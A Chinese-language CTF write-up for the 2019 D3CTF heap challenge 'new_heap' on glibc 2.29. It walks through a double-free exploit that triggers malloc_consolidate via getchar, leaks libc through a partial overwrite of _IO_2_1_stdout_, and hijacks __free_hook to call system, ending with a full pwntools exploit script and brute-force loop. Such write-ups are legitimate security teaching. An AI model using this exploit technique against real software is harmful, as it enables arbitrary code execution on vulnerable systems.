new_heap(高质量题)
这题是2019 d3ctf赛的一题,当时没做出来,后来看了大佬的exp脚本,慢慢研究,终于明白了原理,现在,我们就来详细的解析一下这题
首先,我们还是检查一下程序的保护机制,保护全开
再看一下给我们的libc.so.6的版本,可见是glibc2.29,那么对于堆的管理,就存在tcache机制
程序只有简单的3个功能,没有show,也没有edit,这让我们手无足措
然后,我们用IDA分析一下
程序一开始申请了一个0x1000的堆,然后告诉我们了堆地址的低2字节数据
然后释放了这个堆
接下来,我们在程序中申请堆时,是从0x1000的堆位置开始申请的,因此,我们知道了堆的低2字节
最多创建18个堆,并且每个堆的大小最多申请0x78(实际大小0x80)
程序唯一的漏洞在这,free后没有把指针清零,可以造成double free
退出功能,看似没什么奇怪之处
分析到这,我们似乎也找不到一点头绪,果真是高质量题目
首先,我们总结一下
- 我们创建不了大的堆,因为做了限制
- 没有show功能,看似也泄露不了什么
- tcache bin是将空闲块的数据域互相链接组成链表,而fast bin是将空闲块的头部链接起来,tcache bin缺少充分检查,很容易利用,只要修改它的fd,即可申请到某处
4、只有UAF漏洞可以利用
即使不需要泄露,我们也需要unsorted bin,因为unsorted bin的fd和bk处有libc中的指针,但是本题大小做了限制,大小范围都落在fastbin的大小里。并且,没有溢出漏洞,不能溢出来修改size。但是,unsorted bin是可以通过整理合并fastbin,来生成的。在ptmalloc中,有一个malloc_consolidate函数,用于将fastbin整理合并到unsorted bin里。malloc_consolidate的条件如下之一
- malloc large bin
- top chunk不够空间
- 在free函数在各种合并前后chunk之后的size大于FASTBIN_CONSOLIDATION_THRESHOLD 也就是65536
本题,如何来触发malloc_consolidate呢,关键就在于退出功能,看似好像没什么用,但是getchar()是个关键的地方。
由于,本题的输入都是用的read
read函数内部其实是调用sysread,内部不带缓冲区,从打开的设备或文件中读取数据。因此,在未调用功能3之前,_IO_2_1_stdin_结构体的缓冲区未初始化。
而getchar()、scanf这些,都是带有缓冲区的,它们依靠_IO_2_1_stdin_结构体,而_IO_2_1_stdin_结构体就是FILE结构体,当我们第一次调用带有缓冲区的输入函数时,函数会判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。
我们先运行程序,然后用pwndbg attach到pid上
在没有执行getchar()时,我们看到的_IO_2_1_stdin_结构体内容如下
然后,我们执行一下getchar()看看
发现,getchar()初始化了缓冲区,并且大小为0x400,这个大小属于large bin范围
因此,功能3可以触发一次malloc_consolidate
能触发malloc_consolidate,那么,我们就能将fastbin变成unsorted bin来利用
本题最多总能创建18个堆,因此,我们每一次创建都要慎重考虑,尽可能不浪费。
- sh.recvuntil('0x')
- #chunk0的地址低2字节
- low_2_byte = int(sh.recv(2),16)
- #chunk0~chunk4这5个chunk用于放入tcache bin
- for i in range(0,5):
- create(sh,0x50,'f'*0x50)
- #我们需要overlap chunk6,因此,我们需要在chunk6中伪造一个chunk
- #prev_size = 0,size = 0x61,fd = bk = 0,刚好overlap到chunk6结尾
- payload = 'a'*(0x50-0x20) + p64(0) + p64(0x61) + p64(0)*2
- create(sh,0x50,payload) #chunk5
- create(sh,0x38,'b'*0x38) #chunk6
- create(sh,0x50,'c'*0x50) #chunk7 不能靠近top块,因此我们用chunk8挡住
- create(sh,0x50,'d'*0x50) #chunk8
我们在chunk5伪造chunk,把chunk6给包含进去(overlap),然后把chunk5里面那个伪造的chunk想办法链到fastbin里面,触发malloc_consolidate,让那个假chunk链接到unsorted bin,然后申请合适大小的堆,使得libc中的指针传递到chunk6的fd处
- #chunk0~chunk5放入tcache bin,使得0x60的tcache bin有6个节点
- for i in range(0,6):
- delete(sh,i)
- #chunk6放入0x40的tcache bin
- delete(sh,6)
- #chunk8 放入0x60的tcache bin
- delete(sh,8)
- #chunk7放入0x60的fastbin
- delete(sh,7)
- #从tcache取出头chunk
- create(sh,0x50,'\n') #9
- #chunk7 放入tcache bin
- delete(sh,7)
我们先把0~5放入0x60的tcache bin,把chunk6放入0x40的tcache bin,把8放入0x60的tcache bin,接下来delete(7)时,由于0x60的tcache bin已经达到了7个,所以chunk7放在fastbin,由于fastbin不检查非top的节点double free,于是,我们从tcache里取出一个,再次delete(7),那么chunk7成为0x60的tcache bin的头结点。chunk8存在的作用就是使得chunk7不是top,然后我们看看bins的布局
- #由于chunk7同时存在于tcache bin和fastbin,又由于tcache bin各指针指向的是chunk的数据区,所以,我们这次create时,顺便低位覆盖,便可以
- #改变chunk7的fd指针,我们要让chunk7的fd指针指向我们在chunk5末尾伪造的那个chunk,由于chunk6被overlap,然后,我们就可以想办法触发malloc_consolidate,生成
- #unsorted bin,再通过申请,把libc中的关键指针传递到chunk6的fd域
- create(sh,0x50,p16(((low_2_byte + 2) << 8) + 0x70)) #10也就是chunk7的空间
经过这个create操作后,fastbin里的指针发生了变化
0x60的fastbin里链入了我们伪造的chunk
接下来,我们触发malloc_consolidate
- #整理fastbin,使得fastbin变成unsorted bin
- mallocConsolidate(sh)
再看看bins的布局
我们伪造的chunk里面fd已经有了libc中的指针,接下来,我们通过申请合适大小的chunk,就能把libc中指针传递到chunk6的fd,使得0x40的tcache bin链上libc中的指针。
- #create后,libc中的指针传到了chunk6的fd处
- #我们随便先把/bin/sh字符串保存到这里,最后free_hook时使用
- create(sh,0x10,'/bin/sh') #11
现在,再看看bins
因为,我们malloc(0x10),所以,会从unsorted bin里切割0x20,所以unsorted bin头变成了
0x555555757490,然后libc中的指针会被传到下一个chunk,也就是0x555555757490 + 0x10 = 0x5555557574a0
接下来,我们据需申请大小不在tcache bin里的chunk,来低位覆盖chunk6的fd,使得chunk6的fd有可能指向_IO_2_1_stdout_结构体
- #低2字节覆盖,使得chunk6的fd有1/16的可能指向_IO_2_1_stdout_结构体-0x10处
- create(sh,0x10,p16((_IO_2_1_stdout_s - 0x10) & 0xFFFF)) #12
我们为什么要劫持_IO_2_1_stdout_结构体呢?因为程序在创建堆后有一个puts调用
我们来看看puts的源代码
- int
- _IO_puts (const char *str)
- {
- int result = EOF;
- _IO_size_t len = strlen (str);
- _IO_acquire_lock (_IO_stdout);
- if ((_IO_vtable_offset (_IO_stdout) != 0
- || _IO_fwide (_IO_stdout, -1) == -1)
- && _IO_sputn (_IO_stdout, str, len) == len
- && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
- result = MIN (INT_MAX, len + 1);
- _IO_release_lock (_IO_stdout);
- return result;
- }
_IO_puts,其内部调用_IO_sputn,接着执行_IO_new_file_xsputn,最终会执行_IO_overflow
- int
- _IO_new_file_overflow (_IO_FILE *f, int ch)
- {
- if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
- {
- f->_flags |= _IO_ERR_SEEN;
- __set_errno (EBADF);
- return EOF;
- }
- /* If currently reading or no buffer allocated. */
- if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
- ......
- ......
- }
- if (ch == EOF)
- //我们需要控制_IO_write_base
- return _IO_do_write (f, f->_IO_write_base,
- f->_IO_write_ptr - f->_IO_write_base);
- if (f->_IO_write_ptr == f->_IO_buf_end) //当两个地址相等就不会输出缓冲区里数据。
- if (_IO_do_flush (f) == EOF)
- return EOF;
- *f->_IO_write_ptr++ = ch;
- if ((f->_flags & _IO_UNBUFFERED)
- || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
- if (_IO_do_write (f, f->_IO_write_base,
- f->_IO_write_ptr - f->_IO_write_base) == EOF)
- return EOF;
- return (unsigned char) ch;
- }
通过上面源码分析,当IO_write_ptr与_IO_buf_end不想等的时候就会打印它们之间的字符,而这之间,可以泄露出一些信息,然后我们就能计算出libc基地址,因此,我们想办法劫持_IO_2_1_stdout_结构体,将_IO_write_base的低字节覆盖,然后我们调用puts(“done”)时,就能泄露出信息
当然,由于PIE,我们有1/16(倒数第4个16进制数可能不一样)的几率通过低覆盖chunk6的fd,使得fd指向了_IO_2_1_stdout_结构体,我们接下来的操作,都是假设fd正确的指向了_IO_2_1_stdout_结构体
当前,覆盖fd,没有指向_IO_2_1_stdout_结构体,当我们假设指向了_IO_2_1_stdout_结构体,那么malloc(0x38)两次就能申请到_IO_2_1_stdout_结构体-0x10处
- create(sh,0x38,'\n') #13
- #假设chunk6的fd已经指向了_IO_2_1_stdout_,我们低位覆盖write_base指针
- payload = '\x00' * 0x10 + p64(0xfbad1800) + p64(0) * 3 + p8(0)
- create(sh,0x38,payload) #14
- response = sh.recvuntil('done')
- #没有成功覆盖,说明我们没有命中_IO_2_1_stdout_结构体,抛出异常,重试
- if len(response) < 8:
- raise Exception('retry')
- #print response
- #低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址
- _IO_stdfile_2_lock_addr = u64(response[8:16])
- #计算出libc的地址
- libc_base = _IO_stdfile_2_lock_addr - _IO_stdfile_2_lock
- system_addr = libc_base + system_s
- free_hook_addr = libc_base + free_s_hook
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- print 'free_hook_addr=',hex(free_hook_addr)
如上,我们p8(0)将write_base的低1字节覆盖为了0,经过IDA调试,发现低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址,那么我们就能计算出libc的地址,以及其他一些需要用的函数的地址
接下来,bins变成这样了
现在,我们只剩下3个chunk可以申请,因此再申请就超过了18个了,然而,我们还需要攻击free_hook,当前unsorted bin的头为0x563a0b8d84b0,我们还是想用同样的方法,来修改tcache bin里头结点的fd,但是0x60 tcache bin头结点是0x563a0b8d8440,比unsorted bin的头结点地址低,覆盖不到。但是,还记得chunk6后面的那个chunk7吗,它的地址正好只比当前unsorted bin的头节点地址高一点,但是chunk7当前不在tcache中,因为之前被申请出去了,那么我们再重新把chunk7放回来
- #让chunk8重新回到tcache中,作为头0x80 tcache bin的头
- delete(sh,10)
然后,我们再看看bins(注意,我们每次调试都重新运行了重新,所以地址会有所变化,但是他们相对地址是不变的)
现在,我们可以申请合适大小的chunk,来修改0x60 tcache bin头结点的fd指针,让它指向free_hook
- #接下来,我们再申请,又从unsorted bin里切割一块,但是切得的这一块与chunk7有重合的部分,因此我们可以修改chunk7的fd,让它指向free_hook
- payload = '\x00' * 0x20 + p64(free_hook_addr)
- create(sh,0x30,payload) #15
我们再看看bins
那么,我们接下来继续申请,正好把free_hook指向system,然后18个堆正好用完
- create(sh,0x50,'e'*0x50) #16
- #将free_hook指向system
- create(sh,0x50,p64(system_addr)) #17
- #getshell
- delete(sh,11)
由于只有1/16的几率,我们还需要爆破,综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- libc = ELF('./libc.so.6')
- free_s_hook = libc.symbols['__free_hook']
- _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
- _IO_stdfile_2_lock = libc.symbols['_IO_stdfile_2_lock']
- system_s = libc.sym['system']
- def create(sh,size,content):
- sh.sendlineafter('3.exit','1')
- sh.sendlineafter('size:',str(size))
- sh.sendafter('content:',content)
- def delete(sh,index):
- sh.sendlineafter('3.exit','2')
- sh.sendlineafter('index:',str(index))
- #getchar()会申请large bin触发malloc consolidate
- def mallocConsolidate(sh):
- sh.sendlineafter('3.exit\n','3')
- sh.sendafter('sure?\n','n')
- #爆破,成功率1/16
- def crack(sh):
- sh.recvuntil('0x')
- #chunk0的地址低2字节
- low_2_byte = int(sh.recv(2),16)
- #chunk0~chunk4这5个chunk用于放入tcache bin
- for i in range(0,5):
- create(sh,0x50,'f'*0x50)
- #我们需要overlap chunk6,因此,我们需要在chunk6中伪造一个chunk
- #prev_size = 0,size = 0x61,fd = bk = 0,刚好overlap到chunk6结尾
- payload = 'a'*(0x50-0x20) + p64(0) + p64(0x61) + p64(0)*2
- create(sh,0x50,payload) #chunk5
- create(sh,0x38,'b'*0x38) #chunk6
- create(sh,0x50,'c'*0x50) #chunk7 不能靠近top块,因此我们用chunk8挡住
- create(sh,0x50,'d'*0x50) #chunk8
- #chunk0~chunk5放入tcache bin,使得0x60的tcache bin有6个节点
- for i in range(0,6):
- delete(sh,i)
- #chunk6放入0x40的tcache bin
- delete(sh,6)
- #chunk8 放入0x60的tcache bin
- delete(sh,8)
- #chunk7放入0x60的fastbin
- delete(sh,7)
- #从tcache取出头chunk
- create(sh,0x50,'\n') #9
- #chunk7 放入tcache bin
- delete(sh,7)
- #由于chunk7同时存在于tcache bin和fastbin,又由于tcache bin各指针指向的是chunk的数据区,所以,我们这次create时,顺便低位覆盖,便可以
- #改变chunk7的fd指针,我们要让chunk7的fd指针指向我们在chunk5末尾伪造的那个chunk,由于chunk6被overlap,然后,我们就可以想办法触发malloc_consolidate,生成
- #unsorted bin,再通过申请,把libc中的关键指针传递到chunk6的fd域
- create(sh,0x50,p16(((low_2_byte + 2) << 8) + 0x70)) #10也就是chunk7的空间
- #整理fastbin,使得fastbin变成unsorted bin
- mallocConsolidate(sh)
- #create后,libc中的指针传到了chunk6的fd处
- #我们随便先把/bin/sh字符串保存到这里,最后free_hook时使用
- create(sh,0x10,'/bin/sh') #11
- #低2字节覆盖,使得chunk6的fd有1/16的可能指向_IO_2_1_stdout_结构体-0x10处
- create(sh,0x10,p16((_IO_2_1_stdout_s - 0x10) & 0xFFFF)) #12
- create(sh,0x38,'\n') #13
- #假设chunk6的fd已经指向了_IO_2_1_stdout_,我们低位覆盖write_base指针
- payload = '\x00' * 0x10 + p64(0xfbad1800) + p64(0) * 3 + p8(0)
- create(sh,0x38,payload) #14
- response = sh.recvuntil('done')
- #没有成功覆盖,说明我们没有命中_IO_2_1_stdout_结构体,抛出异常,重试
- if len(response) < 8:
- raise Exception('retry')
- #print response
- #低位覆盖后,对应地址处的数据向后偏移8,正好是_IO_stdfile_2_lock的地址
- _IO_stdfile_2_lock_addr = u64(response[8:16])
- #计算出libc的地址
- libc_base = _IO_stdfile_2_lock_addr - _IO_stdfile_2_lock
- system_addr = libc_base + system_s
- free_hook_addr = libc_base + free_s_hook
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- print 'free_hook_addr=',hex(free_hook_addr)
- #让chunk8重新回到tcache中,作为头0x80 tcache bin的头
- delete(sh,10)
- #接下来,我们再申请,又从unsorted bin里切割一块,但是切得的这一块与chunk7有重合的部分,因此我们可以修改chunk7的fd,让它指向free_hook
- payload = '\x00' * 0x20 + p64(free_hook_addr)
- create(sh,0x30,payload) #15
- create(sh,0x50,'e'*0x50) #16
- #将free_hook指向system
- create(sh,0x50,p64(system_addr)) #17
- #getshell
- delete(sh,11)
- sh.interactive()
- while True:
- try:
- sh = process('./new_heap',env={"LD_PRELOAD":"./libc.so.6"})
- crack(sh)
- except:
- sh.close()
- print 'retrying...'